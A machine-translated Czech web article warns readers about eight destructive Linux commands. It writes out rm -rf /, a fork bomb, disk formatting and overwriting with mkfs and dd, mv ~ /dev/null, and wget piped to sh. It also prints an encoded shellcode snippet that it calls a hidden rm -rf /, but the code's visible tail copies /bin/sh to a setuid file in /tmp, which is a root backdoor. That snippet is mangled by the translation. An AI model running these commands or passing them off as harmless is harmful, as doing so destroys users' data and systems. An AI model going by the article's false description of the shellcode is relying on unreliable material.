8 smrtících příkazů, které by se v Linuxu nikdy neměly spouštět

8 smrtících příkazů, které by se v Linuxu nikdy neměly spouštět

Terminálové příkazy na Linuxu jsou docela destruktivní, pokud spustíte příkaz, zničí váš systém. Linux nevyžaduje potvrzení při spuštění jakéhokoli příkazu.

Zjištění, které příkazy by se v Linuxu neměly spouštět, pomáhá chránit váš systém při práci na Linuxu. Níže je 8 smrtících příkazů, které byste na Linuxu nikdy neměli spouštět.

8 smrtících příkazů, které by se v Linuxu nikdy neměly spouštět

1. rm -rf / - smazat vše

Příkaz rm -rf / smaže vše, včetně souborů na pevném disku a souborů na mediálních zařízeních připojených k vašemu počítači.

Abyste tomuto příkazu lépe porozuměli, analyzujte jej následovně:

  • rm – Odstraňte následující soubory.
  • -rf – spustí rm (smaže všechny soubory a složky v zadané složce) a vynuceně odstraní všechny soubory, aniž by se vás nejprve zeptal.
  • / – Řekne, že rm (řekněme rm) se spustí v kořenovém adresáři, včetně všech souborů na vašem počítači.

Linux bude tento příkaz s radostí následovat a bez varování vše smaže, takže při používání tohoto příkazu buďte opatrní.

Kromě toho se příkaz rm používá také velmi nebezpečnými způsoby. Například rm –rf ~ odstraní všechny soubory ve vaší domovské složce a rm -rf .* odstraní všechny vaše konfigurační soubory.

2. Skrytý příkaz rm –rf /

Zde je úryvek kódu na celém webu:

char esp[] __attribute__ ((sekce(".text"))) /* vydání esp */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

Toto je v podstatě další verze rm –rf / – provedením tohoto příkazu se také odstraní všechny vaše soubory, stejně jako spuštěním rm –rf /.

3. :(){ :|: & };: – Typ trháku

8 smrtících příkazů, které by se v Linuxu nikdy neměly spouštět

Níže uvedený příkazový řádek vypadá velmi jednoduše, ale jeho funkce je ve skutečnosti velmi nebezpečná:

:(){ :|: & };:

Tento krátký příkaz vytvoří nové kopie sebe sama. To znamená, že samotný proces zálohování bude nepřetržitý a rychle způsobí zaplnění vašeho CPU a paměti.

Také to může způsobit zamrznutí počítače. Jde v podstatě o útok typu DoS (Denial of Service).

4. mkfs.ext4 /dev/sda1 – Formáty pevného disku

Příkaz mkfs.ext4 /dev/sda1 je docela snadno pochopitelný:

  • mkfs.ext4 - vytvoří souborový systém ext4 na následujícím zařízení.
  • /dev/sda1 - identifikuje první oddíl na prvním pevném disku, což může být právě používaný pevný disk.

Kombinace těchto dvou příkazů je ekvivalentní formátování jednotky C: v systému Windows – odstraňte všechny soubory na prvním oddílu a nahraďte je novým systémem souborů.

Tento příkaz se může objevit v mnoha různých formátech, například - mkfs.ext3 /dev/sdb2 naformátuje druhý oddíl na vašem druhém pevném disku se systémem souborů ext3.

5. příkaz > /dev/sda - zápis přímo na pevný disk

8 smrtících příkazů, které by se v Linuxu nikdy neměly spouštět

Příkazový řádek > /dev/sda – spusťte příkaz a vytiskněte výsledek tohoto příkazu přímo na váš první pevný disk, zapište data přímo na pevný disk a zničte váš systém souborů.

  • příkaz – Spuštění příkazu (může to být jakýkoli příkaz).
  • > – odešle výstup příkazu do následujícího umístění.
  • /dev/sda – Zapište výstup příkazu přímo na pevný disk.

6. dd if=/dev/random of=/dev/sda – zapisuje hloupá data na pevný disk

Řádek dd if=/dev/random of=/dev/sda smaže data na jednom z vašich pevných disků.

  • dd – slouží k provádění nízkoúrovňového kopírování z jednoho místa na druhé.
  • if=/dev/random – Jako vstup použijte /dev/random – můžete vidět adresy jako /dev/zero.
  • of=/dev/sda – výstup na první pevný disk a nahrazení souborového systému náhodnými hloupými daty.

7. mv ~ /dev/null – Přesuňte svůj domovský adresář do černé díry

/dev/null - přesunutí něčeho do /dev/null je stejné jako jeho zničení. Představte si /dev/null jako černou díru. mv ~ /dev/null pošle všechny vaše osobní soubory do černé díry.

  • mv – přesunutí následujícího souboru nebo složky na jiné místo.
  • ~ – Celá vaše domovská složka.
  • /dev/null – Přesuňte svou domovskou složku do /dev/null, zničí všechny vaše soubory a odstraní původní kopie.

8. wget http://example.com/něco -O – | sh – načte a spustí skript

Výše uvedený příkaz stáhne skript z webu a odešle skript do sh, který spustí obsah skriptu. To může být nebezpečné, pokud si nejste jisti, co je skript, nebo pokud nemáte důvěryhodný zdroj skriptů – nespouštějte nedůvěryhodné skripty.

wget – stažení souboru.

http://example.com/something – stahujte soubory z tohoto umístění.

| – Přepojte (odešlete) výstup příkazu wget (soubor stažené verze) přímo do jiného příkazu.

sh – odeslání souboru příkazu sh.

Podívejte se na některé další články níže:

Bavit se!


Nastavte router Linksys se statickou IP adresou

Nastavte router Linksys se statickou IP adresou

Statická IP adresa je pevná IP adresa nakonfigurovaná v nastavení počítače nebo routeru. Někteří poskytovatelé internetových služeb (ISP) vyžadují zadání statické IP adresy na vašem počítači nebo nastavení TCP/IP routeru, abyste se mohli připojit k internetu.

Jak odstranit prohlížeč únosce PublicBoardSearch

Jak odstranit prohlížeč únosce PublicBoardSearch

Podle způsobu infekce patří PublicBoardSearch do kategorie únosců prohlížeče. Jedná se o typ malwaru navržený tak, aby převzal nastavení známého prohlížeče.

Kolekce tapet Apex Legends s vysokým rozlišením pro počítače

Kolekce tapet Apex Legends s vysokým rozlišením pro počítače

Kolekce tapet s vysokým rozlišením pro uživatele počítačů a notebooků s plným rozlišením od Full HD po 4K.

Co je Localhost? Jak se Localhost liší od 127.0.0.1?

Co je Localhost? Jak se Localhost liší od 127.0.0.1?

Unixový systém, také známý jako „loopback“, může sám sobě posílat a přijímat síťovou komunikaci přes virtuální síťové zařízení. Počítač může posílat zprávy sám sobě, což umožňuje komunikaci bez aktivní sítě.

5 důvodů, proč je v pořádku používat bezplatný antivirový software

5 důvodů, proč je v pořádku používat bezplatný antivirový software

Pravděpodobně jste slyšeli rčení, že dostanete to, za co zaplatíte, ale co když dojde na antivirový software? Měli byste si raději koupit softwarové balíčky, než se rozhodnout pro bezplatná řešení ochrany? Možná tomu tak není a zde je důvod!

Jaký je rozdíl mezi antivirovým softwarem pro Windows a Mac?

Jaký je rozdíl mezi antivirovým softwarem pro Windows a Mac?

V dnešním článku Quantrimang shrne oblíbené značky antivirového softwaru na trhu a zjistí, jak se liší mezi Windows PC a macOS.

4 věci, které uživatelé chtějí vidět ve Windows v roce 2021

4 věci, které uživatelé chtějí vidět ve Windows v roce 2021

Není jasné, co Sun Valley přinese kromě změn a vylepšení uživatelského rozhraní nejvyšší úrovně. Zde je tedy to, co uživatelé doufají, že uvidí od velké aktualizace systému Windows 10 Sun Valley, která bude uvedena v příštím roce.

Jak opravit chybu Spustit jako správce nefunguje ve Windows

Jak opravit chybu Spustit jako správce nefunguje ve Windows

Systém Windows poskytuje možnost Spustit jako správce, která uživatelům umožňuje spouštět aplikace a programy s oprávněními správce. Můžete jej také použít k odstraňování problémů s počítačem. Ale co když tato funkce nefunguje a odebere vám práva správce?

Jak opravit chyby při opravě disku v systému Windows

Jak opravit chyby při opravě disku v systému Windows

Chyby související s jednotkou vašeho počítače mohou zabránit správnému spuštění systému a omezit přístup k vašim souborům a aplikacím.

Modular Malware – Nová metoda tajného útoku ke krádeži dat

Modular Malware – Nová metoda tajného útoku ke krádeži dat

Některé varianty malwaru mohou používat různé moduly ke změně toho, jak ovlivňují cílový systém. Co je tedy modulární malware a jak funguje?